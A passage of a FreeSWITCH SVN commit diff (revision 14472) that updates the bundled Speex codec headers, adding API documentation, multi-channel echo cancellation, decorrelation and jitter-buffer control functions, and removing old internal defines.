 #include "speex/speex_bits.h"
 #include "speex/speex_types.h"
@@ -151,19 +155,9 @@
 /** Get status of input/output high-pass filtering */
 #define SPEEX_GET_HIGHPASS 45
 
-/* Used internally, NOT TO BE USED in applications */
-/** Used internally*/
-#define SPEEX_GET_PI_GAIN 100
-/** Used internally*/
-#define SPEEX_GET_EXC     101
-/** Used internally*/
-#define SPEEX_GET_INNOV   102
-/** Used internally*/
-#define SPEEX_GET_DTX_STATUS   103
-/** Used internally*/
-#define SPEEX_SET_INNOVATION_SAVE   104
-/** Used internally*/
-#define SPEEX_SET_WIDEBAND   105
+/** Get "activity level" of the last decoded frame, i.e.
+    how much damage we cause if we remove the frame */
+#define SPEEX_GET_ACTIVITY 47
 
 
 /* Preserving compatibility:*/
@@ -218,11 +212,6 @@
 /** modeID for the defined ultra-wideband mode */
 #define SPEEX_MODEID_UWB 2
 
-#ifdef EPIC_48K
-/** modeID for the Epic 48K mode */
-#define SPEEX_MODEID_NB_48K 1000
-#endif
-
 struct SpeexMode;
 
 
@@ -307,7 +296,7 @@
  * encode, you need one state per channel.
  *
  * @param mode The mode to use (either speex_nb_mode or speex_wb.mode) 
- * @return A newly created encoder
+ * @return A newly created encoder state or NULL if state allocation fails
  */
 void *speex_encoder_init(const SpeexMode *mode);
 
@@ -318,7 +307,9 @@
 /** Uses an existing encoder state to encode one frame of speech pointed to by
     "in". The encoded bit-stream is saved in "bits".
  @param state Encoder state
- @param in Frame that will be encoded with a +-2^15 range
+ @param in Frame that will be encoded with a +-2^15 range. This data MAY be 
+        overwritten by the encoder and should be considered uninitialised 
+        after the call.
  @param bits Bit-stream where the data will be written
  @return 0 if frame needs not be transmitted (DTX only), 1 otherwise
  */
@@ -338,7 +329,7 @@
  * @param state Encoder state
  * @param request ioctl-type request (one of the SPEEX_* macros)
  * @param ptr Data exchanged to-from function
- * @return 0 if no error, -1 if request in unknown
+ * @return 0 if no error, -1 if request in unknown, -2 for invalid parameter
  */
 int speex_encoder_ctl(void *state, int request, void *ptr);
 
@@ -349,7 +340,7 @@
  * decode, you need one state per channel.
  *
  * @param mode Speex mode (one of speex_nb_mode or speex_wb_mode)
- * @return A newly created decoder state
+ * @return A newly created decoder state or NULL if state allocation fails
  */ 
 void *speex_decoder_init(const SpeexMode *mode);
 
@@ -384,7 +375,7 @@
  * @param state Decoder state
  * @param request ioctl-type request (one of the SPEEX_* macros)
  * @param ptr Data exchanged to-from function
- * @return 0 if no error, -1 if request in unknown
+ * @return 0 if no error, -1 if request in unknown, -2 for invalid parameter
  */
 int speex_decoder_ctl(void *state, int request, void *ptr);
 
@@ -394,12 +385,14 @@
  * @param mode Speex mode
  * @param request ioctl-type request (one of the SPEEX_* macros)
  * @param ptr Data exchanged to-from function
+ * @return 0 if no error, -1 if request in unknown, -2 for invalid parameter
  */
 int speex_mode_query(const SpeexMode *mode, int request, void *ptr);
 
 /** Functions for controlling the behavior of libspeex
  * @param request ioctl-type request (one of the SPEEX_LIB_* macros)
  * @param ptr Data exchanged to-from function
+ * @return 0 if no error, -1 if request in unknown, -2 for invalid parameter
  */
 int speex_lib_ctl(int request, void *ptr);
 
@@ -412,20 +405,20 @@
 /** Default "ultra-wideband" mode */
 extern const SpeexMode speex_uwb_mode;
 
-#ifdef EPIC_48K
-/** 4.8 kbps narrowband mode */
-extern const SpeexMode speex_nb_48k_mode;
-#endif
-
 /** List of all modes available */
 extern const SpeexMode * const speex_mode_list[SPEEX_NB_MODES];
 
 /** Obtain one of the modes available */
 const SpeexMode * speex_lib_get_mode (int mode);
 
+#ifndef WIN32
+/* We actually override the function in the narrowband case so that we can avoid linking in the wideband stuff */
+#define speex_lib_get_mode(mode) ((mode)==SPEEX_MODEID_NB ? &speex_nb_mode : speex_lib_get_mode (mode))
+#endif
+
 #ifdef __cplusplus
 }
 #endif
 
-
+/** @}*/
 #endif

Modified: freeswitch/branches/seven/libs/speex/include/speex/speex_bits.h (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/include/speex/speex_bits.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/include/speex/speex_bits.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -35,6 +35,11 @@
 
 #ifndef BITS_H
 #define BITS_H
+/** @defgroup SpeexBits SpeexBits: Bit-stream manipulations
+ *  This is the structure that holds the bit-stream when encoding or decoding
+ * with Speex. It allows some manipulations as well.
+ *  @{
+ */
 
 #ifdef __cplusplus
 extern "C" {
@@ -59,6 +64,9 @@
 /** Initializes SpeexBits struct using a pre-allocated buffer*/
 void speex_bits_init_buffer(SpeexBits *bits, void *buff, int buf_size);
 
+/** Sets the bits in a SpeexBits struct to use data from an existing buffer (for decoding without copying data) */
+void speex_bits_set_bit_buffer(SpeexBits *bits, void *buff, int buf_size);
+
 /** Frees all resources associated to a SpeexBits struct. Right now this does nothing since no resources are allocated, but this could change in the future.*/
 void speex_bits_destroy(SpeexBits *bits);
 
@@ -72,13 +80,20 @@
 void speex_bits_read_from(SpeexBits *bits, char *bytes, int len);
 
 /** Append bytes to the bit-stream
+ * 
  * @param bits Bit-stream to operate on
  * @param bytes pointer to the bytes what will be appended
  * @param len Number of bytes of append
  */
 void speex_bits_read_whole_bytes(SpeexBits *bits, char *bytes, int len);
 
-/** Write the content of a bit-stream to an area of memory */
+/** Write the content of a bit-stream to an area of memory
+ * 
+ * @param bits Bit-stream to operate on
+ * @param bytes Memory location where to write the bits
+ * @param max_len Maximum number of bytes to write (i.e. size of the "bytes" buffer)
+ * @return Number of bytes written to the "bytes" buffer
+*/
 int speex_bits_write(SpeexBits *bits, char *bytes, int max_len);
 
 /** Like speex_bits_write, but writes only the complete bytes in the stream. Also removes the written bytes from the stream */
@@ -114,13 +129,19 @@
  */
 int speex_bits_nbytes(SpeexBits *bits);
 
-/** Same as speex_bits_unpack_unsigned, but without modifying the cursor position */
+/** Same as speex_bits_unpack_unsigned, but without modifying the cursor position 
+ * 
+ * @param bits Bit-stream to operate on
+ * @param nbBits Number of bits to look for
+ * @return Value of the bits peeked, interpreted as unsigned
+ */
 unsigned int speex_bits_peek_unsigned(SpeexBits *bits, int nbBits);
 
 /** Get the value of the next bit in the stream, without modifying the
  * "cursor" position 
  * 
  * @param bits Bit-stream to operate on
+ * @return Value of the bit peeked (one bit only)
  */
 int speex_bits_peek(SpeexBits *bits);
 
@@ -134,6 +155,7 @@
 /** Returns the number of bits remaining to be read in a stream
  *
  * @param bits Bit-stream to operate on
+ * @return Number of bits that can still be read from the stream
  */
 int speex_bits_remaining(SpeexBits *bits);
 
@@ -148,4 +170,5 @@
 }
 #endif
 
+/* @} */
 #endif

Copied: freeswitch/branches/seven/libs/speex/include/speex/speex_buffer.h (from rev 14471, freeswitch/trunk/libs/speex/include/speex/speex_buffer.h) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/include/speex/speex_buffer.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/include/speex/speex_buffer.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,68 @@
+/* Copyright (C) 2007 Jean-Marc Valin
+      
+   File: speex_buffer.h
+   This is a very simple ring buffer implementation. It is not thread-safe
+   so you need to do your own locking.
+
+   Redistribution and use in source and binary forms, with or without
+   modification, are permitted provided that the following conditions are
+   met:
+
+   1. Redistributions of source code must retain the above copyright notice,
+   this list of conditions and the following disclaimer.
+
+   2. Redistributions in binary form must reproduce the above copyright
+   notice, this list of conditions and the following disclaimer in the
+   documentation and/or other materials provided with the distribution.
+
+   3. The name of the author may not be used to endorse or promote products
+   derived from this software without specific prior written permission.
+
+   THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
+   IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
+   OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+   DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
+   INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+   (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+   SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+   HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+   STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
+   ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+   POSSIBILITY OF SUCH DAMAGE.
+*/
+
+#ifndef SPEEX_BUFFER_H
+#define SPEEX_BUFFER_H
+
+#include "speex/speex_types.h"
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+struct SpeexBuffer_;
+typedef struct SpeexBuffer_ SpeexBuffer;
+
+SpeexBuffer *speex_buffer_init(int size);
+
+void speex_buffer_destroy(SpeexBuffer *st);
+
+int speex_buffer_write(SpeexBuffer *st, void *data, int len);
+
+int speex_buffer_writezeros(SpeexBuffer *st, int len);
+
+int speex_buffer_read(SpeexBuffer *st, void *data, int len);
+
+int speex_buffer_get_available(SpeexBuffer *st);
+
+int speex_buffer_resize(SpeexBuffer *st, int len);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif
+
+
+
+

Modified: freeswitch/branches/seven/libs/speex/include/speex/speex_callbacks.h (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/include/speex/speex_callbacks.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/include/speex/speex_callbacks.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -35,6 +35,9 @@
 
 #ifndef SPEEX_CALLBACKS_H
 #define SPEEX_CALLBACKS_H
+/** @defgroup SpeexCallbacks Various definitions for Speex callbacks supported by the decoder.
+ *  @{
+ */
 
 #include "speex.h"
 
@@ -110,13 +113,16 @@
 
 
 
-
+/** Standard handler for low mode request (change low mode, no questions asked) */
 int speex_std_low_mode_request_handler(SpeexBits *bits, void *state, void *data);
 
+/** Standard handler for VBR request (Set VBR, no questions asked) */
 int speex_std_vbr_request_handler(SpeexBits *bits, void *state, void *data);
 
+/** Standard handler for enhancer request (Turn enhancer on/off, no questions asked) */
 int speex_std_enh_request_handler(SpeexBits *bits, void *state, void *data);
 
+/** Standard handler for VBR quality request (Set VBR quality, no questions asked) */
 int speex_std_vbr_quality_request_handler(SpeexBits *bits, void *state, void *data);
 
 
@@ -124,5 +130,5 @@
 }
 #endif
 
-
+/** @} */
 #endif

Modified: freeswitch/branches/seven/libs/speex/include/speex/speex_echo.h (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/include/speex/speex_echo.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/include/speex/speex_echo.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -33,7 +33,10 @@
 
 #ifndef SPEEX_ECHO_H
 #define SPEEX_ECHO_H
-
+/** @defgroup SpeexEchoState SpeexEchoState: Acoustic echo canceller
+ *  This is the acoustic echo canceller module.
+ *  @{
+ */
 #include "speex/speex_types.h"
 
 #ifdef __cplusplus
@@ -48,41 +51,120 @@
 /** Get sampling rate */
 #define SPEEX_ECHO_GET_SAMPLING_RATE 25
 
+/* Can't set window sizes */
+/** Get size of impulse response (int32) */
+#define SPEEX_ECHO_GET_IMPULSE_RESPONSE_SIZE 27
 
-/*struct drft_lookup;*/
+/* Can't set window content */
+/** Get impulse response (int32[]) */
+#define SPEEX_ECHO_GET_IMPULSE_RESPONSE 29
+
+/** Internal echo canceller state. Should never be accessed directly. */
 struct SpeexEchoState_;
 
+/** @class SpeexEchoState
+ * This holds the state of the echo canceller. You need one per channel. 
+*/
+
+/** Internal echo canceller state. Should never be accessed directly. */
 typedef struct SpeexEchoState_ SpeexEchoState;
 
-/** Creates a new echo canceller state */
+/** Creates a new echo canceller state
+ * @param frame_size Number of samples to process at one time (should correspond to 10-20 ms)
+ * @param filter_length Number of samples of echo to cancel (should generally correspond to 100-500 ms)
+ * @return Newly-created echo canceller state
+ */
 SpeexEchoState *speex_echo_state_init(int frame_size, int filter_length);
 
-/** Destroys an echo canceller state */
+/** Creates a new multi-channel echo canceller state
+ * @param frame_size Number of samples to process at one time (should correspond to 10-20 ms)
+ * @param filter_length Number of samples of echo to cancel (should generally correspond to 100-500 ms)
+ * @param nb_mic Number of microphone channels
+ * @param nb_speakers Number of speaker channels
+ * @return Newly-created echo canceller state
+ */
+SpeexEchoState *speex_echo_state_init_mc(int frame_size, int filter_length, int nb_mic, int nb_speakers);
+
+/** Destroys an echo canceller state 
+ * @param st Echo canceller state
+*/
 void speex_echo_state_destroy(SpeexEchoState *st);
 
-/** Performs echo cancellation a frame */
+/** Performs echo cancellation a frame, based on the audio sent to the speaker (no delay is added
+ * to playback in this form)
+ *
+ * @param st Echo canceller state
+ * @param rec Signal from the microphone (near end + far end echo)
+ * @param play Signal played to the speaker (received from far end)
+ * @param out Returns near-end signal with echo removed
+ */
+void speex_echo_cancellation(SpeexEchoState *st, const spx_int16_t *rec, const spx_int16_t *play, spx_int16_t *out);
+
+/** Performs echo cancellation a frame (deprecated) */
 void speex_echo_cancel(SpeexEchoState *st, const spx_int16_t *rec, const spx_int16_t *play, spx_int16_t *out, spx_int32_t *Yout);
 
-/** Perform echo cancellation using internal playback buffer */
-void speex_echo_capture(SpeexEchoState *st, const spx_int16_t *rec, spx_int16_t *out, spx_int32_t *Yout);
+/** Perform echo cancellation using internal playback buffer, which is delayed by two frames
+ * to account for the delay introduced by most soundcards (but it could be off!)
+ * @param st Echo canceller state
+ * @param rec Signal from the microphone (near end + far end echo)
+ * @param out Returns near-end signal with echo removed
+*/
+void speex_echo_capture(SpeexEchoState *st, const spx_int16_t *rec, spx_int16_t *out);
 
-/** Let the echo canceller know that a frame was just played */
+/** Let the echo canceller know that a frame was just queued to the soundcard
+ * @param st Echo canceller state
+ * @param play Signal played to the speaker (received from far end)
+*/
 void speex_echo_playback(SpeexEchoState *st, const spx_int16_t *play);
 
-/** Reset the echo canceller state */
+/** Reset the echo canceller to its original state 
+ * @param st Echo canceller state
+ */
 void speex_echo_state_reset(SpeexEchoState *st);
 
 /** Used like the ioctl function to control the echo canceller parameters
  *
- * @param state Encoder state
+ * @param st Echo canceller state
  * @param request ioctl-type request (one of the SPEEX_ECHO_* macros)
  * @param ptr Data exchanged to-from function
  * @return 0 if no error, -1 if request in unknown
  */
 int speex_echo_ctl(SpeexEchoState *st, int request, void *ptr);
 
+
+
+struct SpeexDecorrState_;
+
+typedef struct SpeexDecorrState_ SpeexDecorrState;
+
+
+/** Create a state for the channel decorrelation algorithm
+    This is useful for multi-channel echo cancellation only 
+ * @param rate Sampling rate
+ * @param channels Number of channels (it's a bit pointless if you don't have at least 2)
+ * @param frame_size Size of the frame to process at ones (counting samples *per* channel)
+*/
+SpeexDecorrState *speex_decorrelate_new(int rate, int channels, int frame_size);
+
+/** Remove correlation between the channels by modifying the phase and possibly
+    adding noise in a way that is not (or little) perceptible.
+ * @param st Decorrelator state
+ * @param in Input audio in interleaved format
+ * @param out Result of the decorrelation (out *may* alias in)
+ * @param strength How much alteration of the audio to apply from 0 to 100.
+*/
+void speex_decorrelate(SpeexDecorrState *st, const spx_int16_t *in, spx_int16_t *out, int strength);
+
+/** Destroy a Decorrelation state 
+ * @param st State to destroy
+*/
+void speex_decorrelate_destroy(SpeexDecorrState *st);
+
+
 #ifdef __cplusplus
 }
 #endif
 
+
+/** @}*/
 #endif

Modified: freeswitch/branches/seven/libs/speex/include/speex/speex_header.h (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/include/speex/speex_header.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/include/speex/speex_header.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -36,6 +36,10 @@
 
 #ifndef SPEEX_HEADER_H
 #define SPEEX_HEADER_H
+/** @defgroup SpeexHeader SpeexHeader: Makes it easy to write/parse an Ogg/Speex header
+ *  This is the Speex header for the Ogg encapsulation. You don't need that if you just use RTP.
+ *  @{
+ */
 
 #include "speex/speex_types.h"
 
@@ -45,6 +49,7 @@
 
 struct SpeexMode;
 
+/** Length of the Speex header identifier */
 #define SPEEX_HEADER_STRING_LENGTH 8
 
 /** Maximum number of characters for encoding the Speex version number in the header */
@@ -78,9 +83,12 @@
 /** Creates a SpeexHeader from a packet */
 SpeexHeader *speex_packet_to_header(char *packet, int size);
 
+/** Frees the memory allocated by either speex_header_to_packet() or speex_packet_to_header() */
+void speex_header_free(void *ptr);
+
 #ifdef __cplusplus
 }
 #endif
 
-
+/** @} */
 #endif

Modified: freeswitch/branches/seven/libs/speex/include/speex/speex_jitter.h (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/include/speex/speex_jitter.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/include/speex/speex_jitter.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -35,83 +35,163 @@
 
 #ifndef SPEEX_JITTER_H
 #define SPEEX_JITTER_H
+/** @defgroup JitterBuffer JitterBuffer: Adaptive jitter buffer
+ *  This is the jitter buffer that reorders UDP/RTP packets and adjusts the buffer size
+ * to maintain good quality and low latency.
+ *  @{
+ */
 
-#include "speex.h"
-#include "speex_bits.h"
+#include "speex/speex_types.h"
 
 #ifdef __cplusplus
 extern "C" {
 #endif
 
+/** Generic adaptive jitter buffer state */
 struct JitterBuffer_;
 
+/** Generic adaptive jitter buffer state */
 typedef struct JitterBuffer_ JitterBuffer;
 
+/** Definition of an incoming packet */
 typedef struct _JitterBufferPacket JitterBufferPacket;
 
+/** Definition of an incoming packet */
 struct _JitterBufferPacket {
-   char        *data;
-   spx_uint32_t len;
-   spx_uint32_t timestamp;
-   spx_uint32_t span;
+   char        *data;       /**< Data bytes contained in the packet */
+   spx_uint32_t len;        /**< Length of the packet in bytes */
+   spx_uint32_t timestamp;  /**< Timestamp for the packet */
+   spx_uint32_t span;       /**< Time covered by the packet (same units as timestamp) */
+   spx_uint16_t sequence;   /**< RTP Sequence number if available (0 otherwise) */
+   spx_uint32_t user_data;  /**< Put whatever data you like here (it's ignored by the jitter buffer) */
 };
 
-
+/** Packet has been retrieved */
 #define JITTER_BUFFER_OK 0
+/** Packet is lost or is late */
 #define JITTER_BUFFER_MISSING 1
-#define JITTER_BUFFER_INCOMPLETE 2
+/** A "fake" packet is meant to be inserted here to increase buffering */
+#define JITTER_BUFFER_INSERTION 2
+/** There was an error in the jitter buffer */
 #define JITTER_BUFFER_INTERNAL_ERROR -1
+/** Invalid argument */
 #define JITTER_BUFFER_BAD_ARGUMENT -2
 
-/** Initialise jitter buffer */
-JitterBuffer *jitter_buffer_init(int tick);
 
-/** Reset jitter buffer */
+/** Set minimum amount of extra buffering required (margin) */
+#define JITTER_BUFFER_SET_MARGIN 0
+/** Get minimum amount of extra buffering required (margin) */
+#define JITTER_BUFFER_GET_MARGIN 1
+/* JITTER_BUFFER_SET_AVAILABLE_COUNT wouldn't make sense */
+
+/** Get the amount of available packets currently buffered */
+#define JITTER_BUFFER_GET_AVAILABLE_COUNT 3
+/** Included because of an early misspelling (will remove in next release) */
+#define JITTER_BUFFER_GET_AVALIABLE_COUNT 3
+
+/** Assign a function to destroy unused packet. When setting that, the jitter 
+    buffer no longer copies packet data. */
+#define JITTER_BUFFER_SET_DESTROY_CALLBACK 4
+/**  */
+#define JITTER_BUFFER_GET_DESTROY_CALLBACK 5
+
+/** Tell the jitter buffer to only adjust the delay in multiples of the step parameter provided */
+#define JITTER_BUFFER_SET_DELAY_STEP 6
+/**  */
+#define JITTER_BUFFER_GET_DELAY_STEP 7
+
+/** Tell the jitter buffer to only do concealment in multiples of the size parameter provided */
+#define JITTER_BUFFER_SET_CONCEALMENT_SIZE 8
+#define JITTER_BUFFER_GET_CONCEALMENT_SIZE 9
+
+/** Absolute max amount of loss that can be tolerated regardless of the delay. Typical loss 
+    should be half of that or less. */
+#define JITTER_BUFFER_SET_MAX_LATE_RATE 10
+#define JITTER_BUFFER_GET_MAX_LATE_RATE 11
+
+/** Equivalent cost of one percent late packet in timestamp units */
+#define JITTER_BUFFER_SET_LATE_COST 12
+#define JITTER_BUFFER_GET_LATE_COST 13
+
+
+/** Initialises jitter buffer 
+ * 
+ * @param step_size Starting value for the size of concleanment packets and delay 
+       adjustment steps. Can be changed at any time using JITTER_BUFFER_SET_DELAY_STEP
+       and JITTER_BUFFER_GET_CONCEALMENT_SIZE.
+ * @return Newly created jitter buffer state
+ */
+JitterBuffer *jitter_buffer_init(int step_size);
+
+/** Restores jitter buffer to its original state 
+ * 
+ * @param jitter Jitter buffer state
+ */
 void jitter_buffer_reset(JitterBuffer *jitter);
 
-/** Destroy jitter buffer */
+/** Destroys jitter buffer 
+ * 
+ * @param jitter Jitter buffer state
+ */
 void jitter_buffer_destroy(JitterBuffer *jitter);
 
-/** Put one packet into the jitter buffer */
+/** Put one packet into the jitter buffer
+ * 
+ * @param jitter Jitter buffer state
+ * @param packet Incoming packet
+*/
 void jitter_buffer_put(JitterBuffer *jitter, const JitterBufferPacket *packet);
 
-/** Get one packet from the jitter buffer */
-int jitter_buffer_get(JitterBuffer *jitter, JitterBufferPacket *packet, spx_uint32_t *current_timestamp);
+/** Get one packet from the jitter buffer
+ * 
+ * @param jitter Jitter buffer state
+ * @param packet Returned packet
+ * @param desired_span Number of samples (or units) we wish to get from the buffer (no guarantee)
+ * @param current_timestamp Timestamp for the returned packet 
+*/
+int jitter_buffer_get(JitterBuffer *jitter, JitterBufferPacket *packet, spx_int32_t desired_span, spx_int32_t *start_offset);
 
-/** Get pointer timestamp of jitter buffer */
+/** Used right after jitter_buffer_get() to obtain another packet that would have the same timestamp.
+ * This is mainly useful for media where a single "frame" can be split into several packets.
+ * 
+ * @param jitter Jitter buffer state
+ * @param packet Returned packet
+ */
+int jitter_buffer_get_another(JitterBuffer *jitter, JitterBufferPacket *packet);
+
+/** Get pointer timestamp of jitter buffer
+ * 
+ * @param jitter Jitter buffer state
+*/
 int jitter_buffer_get_pointer_timestamp(JitterBuffer *jitter);
 
-/** Advance by one tick */
+/** Advance by one tick
+ * 
+ * @param jitter Jitter buffer state
+*/
 void jitter_buffer_tick(JitterBuffer *jitter);
 
+/** Telling the jitter buffer about the remaining data in the application buffer
+ * @param jitter Jitter buffer state
+ * @param rem Amount of data buffered by the application (timestamp units)
+ */
+void jitter_buffer_remaining_span(JitterBuffer *jitter, spx_uint32_t rem);
 
-/** Speex jitter-buffer state. */
-typedef struct SpeexJitter {
-   SpeexBits current_packet;                                              /**< Current Speex packet                */
-   int valid_bits;                                                        /**< True if Speex bits are valid        */
-   JitterBuffer *packets;
-   void *dec;                                                             /**< Pointer to Speex decoder            */
-   spx_int32_t frame_size;                                                        /**< Frame size of Speex decoder         */
-} SpeexJitter;
+/** Used like the ioctl function to control the jitter buffer parameters
+ * 
+ * @param jitter Jitter buffer state
+ * @param request ioctl-type request (one of the JITTER_BUFFER_* macros)
+ * @param ptr Data exchanged to-from function
+ * @return 0 if no error, -1 if request in unknown
+*/
+int jitter_buffer_ctl(JitterBuffer *jitter, int request, void *ptr);
 
-/** Initialise jitter buffer */
-void speex_jitter_init(SpeexJitter *jitter, void *decoder, int sampling_rate);
+int jitter_buffer_update_delay(JitterBuffer *jitter, JitterBufferPacket *packet, spx_int32_t *start_offset);
 
-/** Destroy jitter buffer */
-void speex_jitter_destroy(SpeexJitter *jitter);
+/* @} */
 
-/** Put one packet into the jitter buffer */
-void speex_jitter_put(SpeexJitter *jitter, char *packet, int len, int timestamp);
-
-/** Get one packet from the jitter buffer */
-void speex_jitter_get(SpeexJitter *jitter, spx_int16_t *out, int *start_offset);
-
-/** Get pointer timestamp of jitter buffer */
-int speex_jitter_get_pointer_timestamp(SpeexJitter *jitter);
-
 #ifdef __cplusplus
 }
 #endif
 
-
 #endif

Modified: freeswitch/branches/seven/libs/speex/include/speex/speex_preprocess.h (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/include/speex/speex_preprocess.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/include/speex/speex_preprocess.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,8 +1,10 @@
 /* Copyright (C) 2003 Epic Games
    Written by Jean-Marc Valin */
 /**
-   @file speex_preprocess.h
-   @brief Speex preprocessor
+ *  @file speex_preprocess.h
+ *  @brief Speex preprocessor. The preprocess can do noise suppression, 
+ * residual echo suppression (after using the echo canceller), automatic
+ * gain control (AGC) and voice activity detection (VAD).
 */
 /*
    Redistribution and use in source and binary forms, with or without
@@ -34,91 +36,61 @@
 
 #ifndef SPEEX_PREPROCESS_H
 #define SPEEX_PREPROCESS_H
+/** @defgroup SpeexPreprocessState SpeexPreprocessState: The Speex preprocessor
+ *  This is the Speex preprocessor. The preprocess can do noise suppression, 
+ * residual echo suppression (after using the echo canceller), automatic
+ * gain control (AGC) and voice activity detection (VAD).
+ *  @{
+ */
 
 #include "speex/speex_types.h"
 
 #ifdef __cplusplus
 extern "C" {
 #endif
-
-struct drft_lookup;
-
-/** Speex pre-processor state. */
-typedef struct SpeexPreprocessState {
-   int    frame_size;        /**< Number of samples processed each time */
-   int    ps_size;           /**< Number of points in the power spectrum */
-   int    sampling_rate;     /**< Sampling rate of the input/output */
    
-   /* parameters */
-   int    denoise_enabled;
-   int    agc_enabled;
-   float  agc_level;
-   int    vad_enabled;
-   int    dereverb_enabled;
-   float  reverb_decay;
-   float  reverb_level;
-   float  speech_prob_start;
-   float  speech_prob_continue;
-   
-   float *frame;             /**< Processing frame (2*ps_size) */
-   float *ps;                /**< Current power spectrum */
-   float *gain2;             /**< Adjusted gains */
-   float *window;            /**< Analysis/Synthesis window */
-   float *noise;             /**< Noise estimate */
-   float *reverb_estimate;   /**< Estimate of reverb energy */
-   float *old_ps;            /**< Power spectrum for last frame */
-   float *gain;              /**< Ephraim Malah gain */
-   float *prior;             /**< A-priori SNR */
-   float *post;              /**< A-posteriori SNR */
+/** State of the preprocessor (one per channel). Should never be accessed directly. */
+struct SpeexPreprocessState_;
 
-   float *S;                 /**< Smoothed power spectrum */
-   float *Smin;              /**< See Cohen paper */
-   float *Stmp;              /**< See Cohen paper */
-   float *update_prob;       /**< Propability of speech presence for noise update */
+/** State of the preprocessor (one per channel). Should never be accessed directly. */
+typedef struct SpeexPreprocessState_ SpeexPreprocessState;
 
-   float *zeta;              /**< Smoothed a priori SNR */
-   float  Zpeak;
-   float  Zlast;
 
-   float *loudness_weight;   /**< Perceptual loudness curve */
-
-   float *echo_noise;
-
-   float *noise_bands;
-   float *noise_bands2;
-   int    noise_bandsN;
-   float *speech_bands;
-   float *speech_bands2;
-   int    speech_bandsN;
-
-   float *inbuf;             /**< Input buffer (overlapped analysis) */
-   float *outbuf;            /**< Output buffer (for overlap and add) */
-
-   float  speech_prob;
-   int    last_speech;
-   float  loudness;          /**< loudness estimate */
-   float  loudness2;         /**< loudness estimate */
-   int    nb_adapt;          /**< Number of frames used for adaptation so far */
-   int    nb_loudness_adapt; /**< Number of frames used for loudness adaptation so far */
-   int    consec_noise;      /**< Number of consecutive noise frames */
-   int    nb_preprocess;     /**< Number of frames processed so far */
-   struct drft_lookup *fft_lookup;   /**< Lookup table for the FFT */
-
-} SpeexPreprocessState;
-
-/** Creates a new preprocessing state */
+/** Creates a new preprocessing state. You MUST create one state per channel processed.
+ * @param frame_size Number of samples to process at one time (should correspond to 10-20 ms). Must be
+ * the same value as that used for the echo canceller for residual echo cancellation to work.
+ * @param sampling_rate Sampling rate used for the input.
+ * @return Newly created preprocessor state
+*/
 SpeexPreprocessState *speex_preprocess_state_init(int frame_size, int sampling_rate);
 
-/** Destroys a denoising state */
+/** Destroys a preprocessor state 
+ * @param st Preprocessor state to destroy
+*/
 void speex_preprocess_state_destroy(SpeexPreprocessState *st);
 
-/** Preprocess a frame */
+/** Preprocess a frame 
+ * @param st Preprocessor state
+ * @param x Audio sample vector (in and out). Must be same size as specified in speex_preprocess_state_init().
+ * @return Bool value for voice activity (1 for speech, 0 for noise/silence), ONLY if VAD turned on.
+*/
+int speex_preprocess_run(SpeexPreprocessState *st, spx_int16_t *x);
+
+/** Preprocess a frame (deprecated, use speex_preprocess_run() instead)*/
 int speex_preprocess(SpeexPreprocessState *st, spx_int16_t *x, spx_int32_t *echo);
 
-/** Preprocess a frame */
-void speex_preprocess_estimate_update(SpeexPreprocessState *st, spx_int16_t *x, spx_int32_t *echo);
+/** Update preprocessor state, but do not compute the output
+ * @param st Preprocessor state
+ * @param x Audio sample vector (in only). Must be same size as specified in speex_preprocess_state_init().
+*/
+void speex_preprocess_estimate_update(SpeexPreprocessState *st, spx_int16_t *x);
 
-/** Used like the ioctl function to control the preprocessor parameters */
+/** Used like the ioctl function to control the preprocessor parameters 
+ * @param st Preprocessor state
+ * @param request ioctl-type request (one of the SPEEX_PREPROCESS_* macros)
+ * @param ptr Data exchanged to-from function
+ * @return 0 if no error, -1 if request in unknown
+*/
 int speex_preprocess_ctl(SpeexPreprocessState *st, int request, void *ptr);
 
 
@@ -138,9 +110,9 @@
 /** Get preprocessor Voice Activity Detection state */
 #define SPEEX_PREPROCESS_GET_VAD 5
 
-/** Set preprocessor Automatic Gain Control level */
+/** Set preprocessor Automatic Gain Control level (float) */
 #define SPEEX_PREPROCESS_SET_AGC_LEVEL 6
-/** Get preprocessor Automatic Gain Control level */
+/** Get preprocessor Automatic Gain Control level (float) */
 #define SPEEX_PREPROCESS_GET_AGC_LEVEL 7
 
 /** Set preprocessor dereverb state */
